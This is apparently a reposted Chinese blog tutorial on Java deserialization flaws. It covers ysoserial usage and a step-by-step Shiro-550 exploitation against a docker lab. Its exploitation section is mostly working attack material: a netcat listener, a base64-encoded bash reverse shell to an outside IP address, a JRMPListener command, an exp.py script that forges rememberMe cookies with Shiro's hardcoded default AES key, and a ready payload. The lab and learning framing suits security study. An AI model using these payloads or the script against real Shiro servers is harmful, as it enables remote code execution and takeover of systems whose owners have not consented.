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Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)

来源:互联网 收集:自由互联 发布时间:2023-02-04
Java反序列化机制 Java 通过 writeObject 序列化将对象保存为二进制数据流,通过 readObject 反序列化将序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列

Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_Java

Java反序列化机制

Java 通过 writeObject 序列化将对象保存为二进制数据流,通过 readObject 反序列化将序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列化时调用的是重写后的 readObject 方法,Java反序列化漏洞就是从可以被恶意利用的 readObject 开始

FileInputStream fileIn = new FileInputStream('1.bin')ObjectInputStream in = new ObjectInputStream(fileIn) e = (Employee) in.readObject();

漏洞原理

以一个简单的 demo 为例

import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.Serializable;import java.io.FileInputStream;import java.io.ObjectInputStream;public class demo1{ public static void main(String args[]) throws Exception{ //定义myObj对象 MyObject myObj = new MyObject(); myObj.name = "hi"; //创建一个包含对象进行反序列化信息的”object”数据文件 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 MyObject objectFromDisk = (MyObject)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); }}class MyObject implements Serializable { public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行打开计算器程序命令 String [] cmd={"cmd","/C","calc"}; // windows下执行此命令,linux->open /Applications/Calculator.app/ Runtime.getRuntime().exec(cmd); }}

实现 java.io.Serializable 接可才可以被反序列化,而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外, 不会参与反序列化)

重写了​​readObject()​​函数,定制了反序列化的行为,反序列化时首先会调用 readObject,就像 PHP 反序列化时调用 __weakup

Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_反序列化_02

Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_java_03

​​ac ed 00 05​​​是 java 序列化内容的特征,如果经过 base64 编码,那么相对应的是​​rO0AB​​

Java拥有的丰富的第三方类库,Java 反序列化大多也是因为其类库的安全问题而产生的

漏洞利用

ysoserial

  • ysoserial​​​https://github.com/frohoff/ysoserial/​​一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'

base64编码问题:因为 windows 不能在简单的命令行中使用管道符进行 base,所以推荐使用 linux,base64输出时加命令保证不自动换行

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" |base64 -w0# 还需要进行一次 url 编码

关于 windows 命令使用可以参考​​链接​​

  • ​​http://jackson-t.ca/runtime-exec-payloads.html​​可以通过这个网站找到 payload 编码的命令

Gadget

  • CommonsCollection1-10对应cc版本
  • CommonsBeanUtilsshiro721中的利用
  • JRMPJRMPClientJRMPListener
  • URLDNS
  • JNDIJNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等

受此影响到的 Java 组件

  • Shiro:Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理
  • Weblogic:确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
  • Fastjson/jackson:是Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象
  • Apereo Cas:CAS是一种针对Web的企业多语言单点登录解决方案,并尝试成为您的身份验证和授权需求的综合平台
  • JDBC:JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口,使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问
  • XMLDecoder:用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下
  • Yaml:Yaml是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁,在Java中,有一个用于解析YAML格式的库,即SnakeYaml,是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型
  • XStream:XStream是Java类库,用来将对象序列化成XML (JSON)或反序列化为对象
  • Websphere:IBM WebSphere® Application Server Community Edition(WASCE)是一款构建于 Apache Geronimo(即 Apache Software Foundation 的开放式源代码应用程序服务器项目)上的、轻量级的 Java 2 Platform,Enterprise Edition(J2EE)应用程序服务器
  • JBoos:是一个基于J2EE的开放源代码的应用服务器,JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用
  • Jenkins:是一个开源的、提供友好操作界面的持续集成(CI)工具,主要用于持续、自动的构建/测试软件项目、监控外部任务的运行,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle
  • Dubbo:阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和Spring框架无缝集成
  • 当然还有其他组件

Shiro反序列化

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理

Shiro框架默认指纹特征

在请求包的Cookie中为?rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在?rememberMe=deleteMe?字段,说明目标有使用Shiro框架,可以进一步测试

Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_Java_04

shiro-550

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),当接收到未经身份验证的用户请求时,会执行以下操作

  • 从请求数据包中提取 Cookie 中 rememberMe 字段的值
  • 对提取的 cookie 值进行 base64 解码
  • 对 base64 解码后的值进行 AES 解码
  • 对解密后的字节数组调用 ObjectInputStream.readObject() 方法来反序列化
  • 问题就在于 Shiro 1.2.4及之前的版本 中,AES加密的密钥默认硬编码在代码里,如果服务端采用的是默认的加密密钥,攻击者就可以构造一个恶意对象,执行任意代码

    漏洞利用

    环境用 docker 搭建

    # 获取docker镜像docker pull medicean/vulapps:s_shiro_1# 启动docker,注意端口是否在安全组中打开docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

    访问IP:端口,此页面为搭建成功

    Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_java_05

    有很多图形化的工具,如​​link​​,但是为了更好的了解漏洞,分步骤进行利用

    检查是否存在默认的key

    工具:https://github.com/insightglacier/Shiro_exploit

    pip install pycryptodome python .\shiro_exploit.py -u http://url:port

    Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_java_06

    漏洞利用

  • 在 vps 上监听 9999 端口
  • nc -lvvp 9999

    用来接收反弹的shell

  • 通过ysoserial中JRMP监听模块,监听 6666 端口并执行反弹shell命令
  • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'# 其中 base 编码通过 http://www.jackson-t.ca/runtime-exec-payloads.html 网站编码,注意此处和端口为上一步 vps 监听端口bash -i >& /dev/tcp/121.196.173.254/9999 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
  • 使用修改后的 exp.py 脚本生成 payload
  • python2 .\exp.py 121.196.173.254:6666# 注意 exp.py 和 ysoserial 要在同一目录,端口是 jrmp 监听端口,生成 payloadrememberMe=deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==

    exp.py

    import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
  • 构造数据包,伪造cookie,发送Payload
  • 成功反弹shell

    不止这一种漏洞利用方式,还可以直接执行命令,还有 shiro 721漏洞,可以看这篇文章 ​​Link​​​,​​Link2​​

    人菜就要多学习,本次只是对Java反序列化的简单学习,继续努力

    参考链接

    ​​https://www.vulbox.com/knowledge/detail/?id=11​​

    ​​https://paper.seebug.org/1503/​​

    Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)_java_07

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